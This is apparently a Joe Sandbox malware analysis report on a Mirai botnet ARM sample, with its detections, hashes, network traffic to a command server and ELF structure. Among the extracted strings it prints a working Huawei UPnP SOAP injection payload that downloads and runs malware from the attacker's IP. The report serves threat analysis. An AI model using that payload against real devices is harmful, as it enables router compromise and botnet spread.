Edit tour

Linux Analysis Report
resgod.arm.elf

Overview

General Information

Sample name:resgod.arm.elf
Analysis ID:1643953
MD5:e4d73412498cd2c45070c3bce9ef3eff
SHA1:7416cf4503880ea041704137d2e930633850ec9a
SHA256:d898a64fd607b278081254232473b33b5d2b756eed63f7128392d0473f132424
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Detected TCP or UDP traffic on non-standard ports
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1643953
Start date and time:2025-03-20 09:46:06 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 5m 3s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:resgod.arm.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@2/0
Command:/tmp/resgod.arm.elf
PID:5431
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
resgod.arm.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    resgod.arm.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      SourceRuleDescriptionAuthorStrings
      5433.1.00007ff738017000.00007ff738027000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        5433.1.00007ff738017000.00007ff738027000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          5431.1.00007ff738017000.00007ff738027000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
            5431.1.00007ff738017000.00007ff738027000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
              Process Memory Space: resgod.arm.elf PID: 5431JoeSecurity_Mirai_6Yara detected MiraiJoe Security
                Click to see the 1 entries
                No Suricata rule has matched

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Source: resgod.arm.elfAvira: detected
                Source: resgod.arm.elfVirustotal: Detection: 59%Perma Link
                Source: resgod.arm.elfReversingLabs: Detection: 63%
                Source: global trafficTCP traffic: 192.168.2.13:59364 -> 104.168.101.27:8944
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: unknownTCP traffic detected without corresponding DNS query: 104.168.101.27
                Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
                Source: resgod.arm.elfString found in binary or memory: http://104.168.101.27/resgod.mips;
                Source: resgod.arm.elfString found in binary or memory: http://104.168.101.27/sh
                Source: resgod.arm.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
                Source: resgod.arm.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
                Source: resgod.arm.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
                Source: resgod.arm.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
                Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.27 -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                Source: ELF static info symbol of initial sample.symtab present: no
                Source: classification engineClassification label: mal72.troj.linELF@0/0@2/0
                Source: /tmp/resgod.arm.elf (PID: 5431)Queries kernel information via 'uname': Jump to behavior
                Source: resgod.arm.elf, 5431.1.00007ffff1533000.00007ffff1554000.rw-.sdmp, resgod.arm.elf, 5433.1.00007ffff1533000.00007ffff1554000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/resgod.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/resgod.arm.elf
                Source: resgod.arm.elf, 5431.1.0000555d6f4f2000.0000555d6f620000.rw-.sdmp, resgod.arm.elf, 5433.1.0000555d6f4f2000.0000555d6f620000.rw-.sdmpBinary or memory string: Po]U!/etc/qemu-binfmt/arm
                Source: resgod.arm.elf, 5431.1.0000555d6f4f2000.0000555d6f620000.rw-.sdmp, resgod.arm.elf, 5433.1.0000555d6f4f2000.0000555d6f620000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
                Source: resgod.arm.elf, 5431.1.00007ffff1533000.00007ffff1554000.rw-.sdmp, resgod.arm.elf, 5433.1.00007ffff1533000.00007ffff1554000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm

                Stealing of Sensitive Information

                barindex
                Source: Yara matchFile source: resgod.arm.elf, type: SAMPLE
                Source: Yara matchFile source: 5433.1.00007ff738017000.00007ff738027000.r-x.sdmp, type: MEMORY
                Source: Yara matchFile source: 5431.1.00007ff738017000.00007ff738027000.r-x.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: resgod.arm.elf PID: 5431, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: resgod.arm.elf PID: 5433, type: MEMORYSTR

                Remote Access Functionality

                barindex
                Source: Yara matchFile source: resgod.arm.elf, type: SAMPLE
                Source: Yara matchFile source: 5433.1.00007ff738017000.00007ff738027000.r-x.sdmp, type: MEMORY
                Source: Yara matchFile source: 5431.1.00007ff738017000.00007ff738027000.r-x.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: resgod.arm.elf PID: 5431, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: resgod.arm.elf PID: 5433, type: MEMORYSTR
                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
                Security Software Discovery
                Remote ServicesData from Local System1
                Non-Standard Port
                Exfiltration Over Other Network MediumAbuse Accessibility Features
                CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
                Non-Application Layer Protocol
                Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive1
                Application Layer Protocol
                Automated ExfiltrationData Encrypted for Impact
                No configs have been found
                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Number of created Files
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1643953 Sample: resgod.arm.elf Startdate: 20/03/2025 Architecture: LINUX Score: 72 14 104.168.101.27, 8944 AS-COLOCROSSINGUS United States 2->14 16 daisy.ubuntu.com 2->16 18 Antivirus / Scanner detection for submitted sample 2->18 20 Multi AV Scanner detection for submitted file 2->20 22 Yara detected Mirai 2->22 8 resgod.arm.elf 2->8         started        signatures3 process4 process5 10 resgod.arm.elf 8->10         started        process6 12 resgod.arm.elf 10->12         started       
                SourceDetectionScannerLabelLink
                resgod.arm.elf59%VirustotalBrowse
                resgod.arm.elf64%ReversingLabsLinux.Trojan.Mirai
                resgod.arm.elf100%AviraEXP/ELF.Mirai.W
                No Antivirus matches
                No Antivirus matches
                No Antivirus matches

                Download Network PCAP: filteredfull

                NameIPActiveMaliciousAntivirus DetectionReputation
                daisy.ubuntu.com
                162.213.35.25
                truefalse
                  high
                  NameSourceMaliciousAntivirus DetectionReputation
                  http://schemas.xmlsoap.org/soap/encoding//%22%3Eresgod.arm.elffalse
                    high
                    http://schemas.xmlsoap.org/soap/encoding/resgod.arm.elffalse
                      high
                      http://schemas.xmlsoap.org/soap/envelope//resgod.arm.elffalse
                        high
                        http://104.168.101.27/shresgod.arm.elffalse
                          high
                          http://104.168.101.27/resgod.mips;resgod.arm.elffalse
                            high
                            http://schemas.xmlsoap.org/soap/envelope/resgod.arm.elffalse
                              high
                              • No. of IPs < 25%
                              • 25% < No. of IPs < 50%
                              • 50% < No. of IPs < 75%
                              • 75% < No. of IPs
                              IPDomainCountryFlagASNASN NameMalicious
                              104.168.101.27
                              unknownUnited States
                              36352AS-COLOCROSSINGUSfalse
                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              104.168.101.27resgod.x86.elfGet hashmaliciousMiraiBrowse
                                resgod.arm5.elfGet hashmaliciousMiraiBrowse
                                  resgod.sh4.elfGet hashmaliciousMiraiBrowse
                                    resgod.arm7.elfGet hashmaliciousMiraiBrowse
                                      resgod.mpsl.elfGet hashmaliciousMiraiBrowse
                                        resgod.sh4.elfGet hashmaliciousMiraiBrowse
                                          resgod.arm5.elfGet hashmaliciousMiraiBrowse
                                            resgod.mpsl.elfGet hashmaliciousMiraiBrowse
                                              resgod.ppc.elfGet hashmaliciousMiraiBrowse
                                                resgod.arm7.elfGet hashmaliciousMiraiBrowse
                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  daisy.ubuntu.comAqua.arm6.elfGet hashmaliciousUnknownBrowse
                                                  • 162.213.35.24
                                                  boatnet.arm6.elfGet hashmaliciousMiraiBrowse
                                                  • 162.213.35.24
                                                  boatnet.sh4.elfGet hashmaliciousMiraiBrowse
                                                  • 162.213.35.24
                                                  boatnet.arm.elfGet hashmaliciousMiraiBrowse
                                                  • 162.213.35.24
                                                  boatnet.mips.elfGet hashmaliciousMiraiBrowse
                                                  • 162.213.35.25
                                                  boatnet.spc.elfGet hashmaliciousMiraiBrowse
                                                  • 162.213.35.24
                                                  boatnet.x86.elfGet hashmaliciousMiraiBrowse
                                                  • 162.213.35.25
                                                  gigab.m68.elfGet hashmaliciousUnknownBrowse
                                                  • 162.213.35.24
                                                  resgod.x86.elfGet hashmaliciousMiraiBrowse
                                                  • 162.213.35.24
                                                  sshd.elfGet hashmaliciousUnknownBrowse
                                                  • 162.213.35.24
                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  AS-COLOCROSSINGUSQrTtmzYYNT.exeGet hashmaliciousRemcosBrowse
                                                  • 192.3.176.138
                                                  goodchoicewithgreathappiness.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                  • 192.3.176.138
                                                  Payment_Advice.xlsGet hashmaliciousUnknownBrowse
                                                  • 172.245.123.28
                                                  Inquiry 20.03.2025.xlsGet hashmaliciousUnknownBrowse
                                                  • 104.168.7.32
                                                  BGL-17-2025, Packing List ... . 2073799 07 [S-29-40].xlsGet hashmaliciousUnknownBrowse
                                                  • 192.3.101.146
                                                  NEW ORDER.xlsGet hashmaliciousUnknownBrowse
                                                  • 198.23.212.233
                                                  PO 23-179, PO 23-181.xlsGet hashmaliciousUnknownBrowse
                                                  • 192.3.101.146
                                                  resgod.x86.elfGet hashmaliciousMiraiBrowse
                                                  • 104.168.101.27
                                                  Inquiry 20.03.2025.xlsGet hashmaliciousUnknownBrowse
                                                  • 104.168.7.32
                                                  Payment_Advice.xlsGet hashmaliciousUnknownBrowse
                                                  • 172.245.123.28
                                                  No context
                                                  No context
                                                  No created / dropped files found
                                                  File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
                                                  Entropy (8bit):6.152066656295304
                                                  TrID:
                                                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                  File name:resgod.arm.elf
                                                  File size:63'228 bytes
                                                  MD5:e4d73412498cd2c45070c3bce9ef3eff
                                                  SHA1:7416cf4503880ea041704137d2e930633850ec9a
                                                  SHA256:d898a64fd607b278081254232473b33b5d2b756eed63f7128392d0473f132424
                                                  SHA512:2f18499df4bf9e7ca140caf1fa14d9c67d5691c45ce78e1c727a826f70ddbddb932e68c24413d4fd296718a09f39a6bf1d087c3c500805e078dab0e6c4f6aafc
                                                  SSDEEP:1536:FsL+xmBnrYjQbRWIbSQ9jfZ4uf1BukeKzep1kfvXrUnUAt0O:FqnbECljfCu9BBO6bUnUA6O
                                                  TLSH:66533CC5B981AA22C7C15577FF0F024D3716879CE2EA334399295FB473CB95B0E2A216
                                                  File Content Preview:.ELF...a..........(.........4...l.......4. ...(.....................................................X...`%..........Q.td..................................-...L."....4..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

                                                  ELF header

                                                  Class:ELF32
                                                  Data:2's complement, little endian
                                                  Version:1 (current)
                                                  Machine:ARM
                                                  Version Number:0x1
                                                  Type:EXEC (Executable file)
                                                  OS/ABI:ARM - ABI
                                                  ABI Version:0
                                                  Entry Point Address:0x8190
                                                  Flags:0x202
                                                  ELF Header Size:52
                                                  Program Header Offset:52
                                                  Program Header Size:32
                                                  Number of Program Headers:3
                                                  Section Header Offset:62828
                                                  Section Header Size:40
                                                  Number of Section Headers:10
                                                  Header String Table Index:9
                                                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                  NULL0x00x00x00x00x0000
                                                  .initPROGBITS0x80940x940x180x00x6AX004
                                                  .textPROGBITS0x80b00xb00xd3880x00x6AX0016
                                                  .finiPROGBITS0x154380xd4380x140x00x6AX004
                                                  .rodataPROGBITS0x1544c0xd44c0x1d840x00x2A004
                                                  .ctorsPROGBITS0x1f1d40xf1d40x80x00x3WA004
                                                  .dtorsPROGBITS0x1f1dc0xf1dc0x80x00x3WA004
                                                  .dataPROGBITS0x1f1e80xf1e80x3440x00x3WA004
                                                  .bssNOBITS0x1f52c0xf52c0x22080x00x3WA004
                                                  .shstrtabSTRTAB0x00xf52c0x3e0x00x0001
                                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                  LOAD0x00x80000x80000xf1d00xf1d06.19210x5R E0x8000.init .text .fini .rodata
                                                  LOAD0xf1d40x1f1d40x1f1d40x3580x25602.58140x6RW 0x8000.ctors .dtors .data .bss
                                                  GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                                                  Download Network PCAP: filteredfull

                                                  • Total Packets: 16
                                                  • 8944 undefined
                                                  • 53 (DNS)
                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Mar 20, 2025 09:46:56.183609009 CET593648944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:46:57.215147972 CET593648944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:46:59.231132984 CET593648944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:47:03.391204119 CET593648944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:47:11.583074093 CET593648944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:47:27.711045027 CET593648944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:48:01.758800030 CET593648944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:49:07.296693087 CET593668944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:49:08.318602085 CET593668944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:49:10.334537983 CET593668944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:49:14.462451935 CET593668944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:49:22.654459000 CET593668944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:49:38.782423973 CET593668944192.168.2.13104.168.101.27
                                                  Mar 20, 2025 09:50:12.830298901 CET593668944192.168.2.13104.168.101.27
                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Mar 20, 2025 09:49:40.054336071 CET5228653192.168.2.138.8.8.8
                                                  Mar 20, 2025 09:49:40.054394960 CET5772353192.168.2.138.8.8.8
                                                  Mar 20, 2025 09:49:40.144701004 CET53577238.8.8.8192.168.2.13
                                                  Mar 20, 2025 09:49:40.144995928 CET53522868.8.8.8192.168.2.13
                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                  Mar 20, 2025 09:49:40.054336071 CET192.168.2.138.8.8.80x8656Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                                  Mar 20, 2025 09:49:40.054394960 CET192.168.2.138.8.8.80xa9acStandard query (0)daisy.ubuntu.com28IN (0x0001)false
                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                  Mar 20, 2025 09:49:40.144995928 CET8.8.8.8192.168.2.130x8656No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
                                                  Mar 20, 2025 09:49:40.144995928 CET8.8.8.8192.168.2.130x8656No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

                                                  System Behavior

                                                  Start time (UTC):08:46:55
                                                  Start date (UTC):20/03/2025
                                                  Path:/tmp/resgod.arm.elf
                                                  Arguments:/tmp/resgod.arm.elf
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Start time (UTC):08:46:55
                                                  Start date (UTC):20/03/2025
                                                  Path:/tmp/resgod.arm.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                  Start time (UTC):08:46:55
                                                  Start date (UTC):20/03/2025
                                                  Path:/tmp/resgod.arm.elf
                                                  Arguments:-
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1